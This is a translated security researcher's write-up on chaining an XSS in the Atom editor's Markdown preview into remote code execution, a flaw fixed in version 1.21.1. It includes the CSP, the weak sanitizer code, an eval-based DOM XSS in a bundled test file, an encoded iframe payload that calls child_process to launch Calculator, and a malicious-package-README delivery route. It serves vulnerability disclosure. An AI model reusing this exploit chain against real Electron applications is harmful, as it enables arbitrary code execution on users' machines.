导语:本文主要介绍了作者针对Atom远程代码执行漏洞的挖掘思路,如何从一个XSS漏洞,构造完整的漏洞利用链,实现RCE。
0x00 前言
最近我花了点时间看了下Atom(https://atom.io/) ,它是由Github发布的文本编辑器。经过一段时间的研究,我可以将Atom中的多个漏洞组合利用最终实现远程代码执行。 这个漏洞在我通过HackerOne(https://hackerone.com/github)提交后1.21.1版本(https://github.com/atom/atom/releases/tag/v1.21.1)中已经修复。要是有同学想要对这个漏洞进行复现的话可以通过https://github.com/atom/atom/releases/tag/v1.21.0这个链接下载历史版本。
0x01 将Web安全问题带到了桌面应用?
Atom是使用Electron(https://electronjs.org/)写的。Electron是一个基于JavaScript、HTML和CSS用于开发桌面应用的跨平台框架。通过利用现成的框架,可以极大的提高开发效率。 然而这也会产生一些问题,就是会将Web端的安全问题带到桌面应用中。特别是:XSS漏洞。由于整个应用程序的整体逻辑都是由JavaScript编写的,所以单个XSS可能导致任意代码执行。 毕竟,攻击者可以像软件的开发人员一样,在应用程序中执行任意JavaScript代码(XSS本质上就是任意js代码执行)。 当然,如果这样想的话,那就太简单了。所以Electron提供了一些缓解XSS漏洞的方法。事实上,github的issue上已经有一些针对该问题的讨论。但是,与其他漏洞缓解措施一样,如果使用不当的话,可能仍然会被绕过。
0x02 通过CSP缓解缓解XSS漏洞
在我们挖掘漏洞之前,我们先看一下GitHub的开发人员是如何缓解Atom的XSS问题:使用Content-Security-Policy(内容安全策略)。 翻一下Atom的index.html代码,你会看到下面的策略:
<!DOCTYPE html><html> <head> <meta http-equiv="Content-Security-Policy" content="default-src * atom://*; img-src blob: data: * atom://*; script-src 'self' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; media-src blob: data: mediastream: * atom://*;"> <script src="index.js"></script> </head> <body tabindex="-1"></body></html>
script-src'self''unsafe-eval'
的含义是着同源的JavaScript以及使用eval like构造创建的代码可以被执行。但是,任何内嵌的JavaScript代码都不会被执行。 简单来说,来自“index.js”的JavaScript可以再下面的示例中执行,alert(1) 不能执行,因为它属于内联JavaScript代码:
<!DOCTYPE html><html> <head> <meta http-equiv="Content-Security-Policy" content="default-src * atom://*; img-src blob: data: * atom://*; script-src 'self' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; media-src blob: data: mediastream: * atom://*;"> </head> <!-- Following line will be executed since it is JS embedded from the same origin --> <script src="index.js"></script> <!-- Following line will not be executed since it is inline JavaScript --> <script>alert(1)</script></html>
0x03 Atom是如何解析Markdown文件的
在挖掘包含语法解析器或预览生成器软件的漏洞时,花费一些时间来研究这些组件往往会有意想不到的收获。通常情况下,解析库一般是采用了一些第三方组件,这些组件再开发时可能已经考虑到了这些安全问题。但是就安全性这个问题来讲,组件的原作者以及后续基于该组件的开发者来说,两类人可能会有不同的需求。 举个例子,开发者会默认这些库的输入内容都是可信的。所以我们先来看一看Atom是如何解析Markdown文件的。这个默认组件的相关代码可以在GitHub上找到:https://github.com/atom/markdown-preview。粗略的看了先,我发现,Markdown解析器似乎也解析了任意的HTML文档:
所以第一个想法是插入一个简单的JavaScript代码片段来检查JavaScript是否被Markdown库过滤。虽然CSP会阻止代码在这里执行,但是通过这个方法可以检测到是否采用了一些基本的过滤手段。 如下图所示,事实证明,响应的脚本代码并不会出现在DOM中。 所以,针对GitHub上的研究发现,并不是所有的HTML代码都可以直接渲染执行的。我们来看一下Markdown库是如何对输入的内容进行过滤的:
sanitize = (html) -> o = cheerio.load(html) o('script').remove() attributesToRemove = [ 'onabort' 'onblur' 'onchange' 'onclick' 'ondbclick' 'onerror' 'onfocus' 'onkeydown' 'onkeypress' 'onkeyup' 'onload' 'onmousedown' 'onmousemove' 'onmouseover' 'onmouseout' 'onmouseup' 'onreset' 'onresize' 'onscroll' 'onselect' 'onsubmit' 'onunload' ] o('*').removeAttr(attribute) for attribute in attributesToRemove o.html()
可以说是这个过滤手段是非常的鸡肋了,但是再配合上CSP的力量,常规的payload应该都不会被执行。 还是回头看一下之前的截图,仍然有一些payload是可以被加载的。
通过截图可以看到,Atom是在file://协议下执行的,那么如果我们创建一个恶意的HTML文件并在本地嵌入,会发生什么事呢?按理来说这将被Electron识别为同源,因此JavaScript代码应该会被执行。 所以我在home文件夹中创建了一个名为hacked.html的文件,文件内容如下:
<script> alert(1);</script>
现在只需在Markdown文档中嵌入iframe,就可以触发JavaScript代码。事实确实是这样。
0x04 构造本地DOM XSS漏洞利用链
虽然我现在已经能够执行任意的JavaScript代码了,但是这里存在一个问题:要想利用这个漏洞需要跟用户进行大量的交互。
用户必须主动打开这个Markdown 文档
用户必须打开Markdown文档预览
恶意Markdown文档需要包含另一个本地恶意JavaScript文件
所以这种问题要是再真实的攻击场景中,那就有点鸡肋了。换个思路,如果包含存在DOM XSS漏洞的本地文件呢?这意味着可以成功的利用这一漏洞。所以我决定看看其他的HTML文件。 幸运的是,在OS X上,应用程序只是一堆文件,我们可以直接看到代码。从这个文件夹开始往下看:/Applications/Atom.app/Contents:
搜索文件夹下的HTML文件找到了这样一些文件:
➜ Contents find . -iname "*.html"./Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/index.html ./Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/__root__/index.html ./Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/__root__/mute.js.html ./Resources/app/apm/node_modules/clone/test-apart-ctx.html ./Resources/app/apm/node_modules/clone/test.html ./Resources/app/apm/node_modules/colors/example.html ./Resources/app/apm/node_modules/npm/node_modules/request/node_modules/http-signature/node_modules/sshpk/node_modules/jsbn/example.html ./Resources/app/apm/node_modules/jsbn/example.html
可以使用一些审计js代码的工具:https://statuscode.ch/2015/05/static-javascript-analysis-with-burp/,或者也可以人工的去审计这些HTML文件。 由于代码量不算多,通过人工审计的方式,大概看了下/Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html中的代码:
<html> <head> <meta charset="utf-8"> <title>Clone Test-Suite (Browser)</title> </head> <body> <script> var data = document.location.search.substr(1).split('&'); try { ctx = parent[data[0]]; eval(decodeURIComponent(data[1])); window.results = results; } catch(e) { var extra = ''; if (e.name == 'SecurityError') extra = 'This test suite needs to be run on an http server.'; alert('Apart Context iFrame Errorn' + e + 'nn' + extra); throw e; } </script> </body></html>
在document.location.search上有一个eval调用,可以通过URL控制传入的内容。而且,Atom的Content-Security-Policy允许eval语句执行,所以打开如下所示的代码应该也会弹窗:
file:///Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html?foo&alert(1)
实际上,下面的Markdown文档就足以执行任意的JavaScript代码了:
<iframe src="file:///Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html?foo&alert(1)"></iframe>
0x05 本地任意代码执行
正如文章前面所说,在Electron应用程序中执行恶意JavaScript代码通常也就意味着本地任意代码执行。在这种情况下,一个简单的思路就是访问window.top对象,并使用NodeJS require函数访问child_process模块。 通过以下JavaScript代码可以打开Mac OS X计算器:
<script type="text/javascript"> window.top.require('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){});</script>
以前的漏洞利用方式是这样的:
<iframe src="file:///Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html?foo&%77%69%6e%64%6f%77%2e%74%6f%70%2e%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%46%69%6c%65%28%27%2f%41%70%70%6c%69%63%61%74%69%6f%6e%73%2f%43%61%6c%63%75%6c%61%74%6f%72%2e%61%70%70%2f%43%6f%6e%74%65%6e%74%73%2f%4d%61%63%4f%53%2f%43%61%6c%63%75%6c%61%74%6f%72%27%2c%66%75%6e%63%74%69%6f%6e%28%29%7b%7d%29%3b%0a"></iframe>
只要打开构造好的Markdown文档,Calculator.app就会打开执行:
0x06 如何实现远程任意代码执行?
虽然经过上面的研究我们已经取得了一些进展,但仍然需要受害者打开恶意的Markdown文档(需要用户交互的漏洞,价值都会大打折扣)。想了下,要知道tom渲染Markdown文档可不止这一处。 在Atom源代码上执行grep搜索之后,还有另外一个渲染Markdown文件的模块:https://github.com/atom/settings-view/。看了下它的过滤手段,也没啥卵用。
const ATTRIBUTES_TO_REMOVE = [ 'onabort', 'onblur', 'onchange', 'onclick', 'ondbclick', 'onerror', 'onfocus', 'onkeydown', 'onkeypress', 'onkeyup', 'onload', 'onmousedown', 'onmousemove', 'onmouseover', 'onmouseout', 'onmouseup', 'onreset', 'onresize', 'onscroll', 'onselect', 'onsubmit', 'onunload']function sanitize (html) { const temporaryContainer = document.createElement('div') temporaryContainer.innerHTML = html for (const script of temporaryContainer.querySelectorAll('script')) { script.remove() } for (const element of temporaryContainer.querySelectorAll('*')) { for (const attribute of ATTRIBUTES_TO_REMOVE) { element.removeAttribute(attribute) } } for (const checkbox of temporaryContainer.querySelectorAll('input[type="checkbox"]')) { checkbox.setAttribute('disabled', true) } return temporaryContainer.innerHTML }
这里的Markdown解析器也存在安全问题,而且似乎比前者更严重。Atom支持“Packages”,可以由社区的开发者提供第三方插件的扩展。这些第三方插件中Markdown格式的README,会在Atom视图中呈现。 因此,恶意攻击者只需要注册一堆恶意软件包,或者提供一些与现有软件名称相似的软件包,再README中插入恶意代码。只要有人点击该名称即可(并不需要安装!),恶意代码就可以成功的被执行了。
0x07 来看一下Github是怎么修复这个漏洞的
经过与GitHub开发组讨论之后,这个漏洞已经被修复了,修复方法如下:
从软件包中删除不必要的HTML文件
使用 DOMPurify (https://github.com/cure53/DOMPurify)过滤Markdown中的内容 虽然不是一个完美的解决方案,但就目前来讲也是一个不错的缓解措施。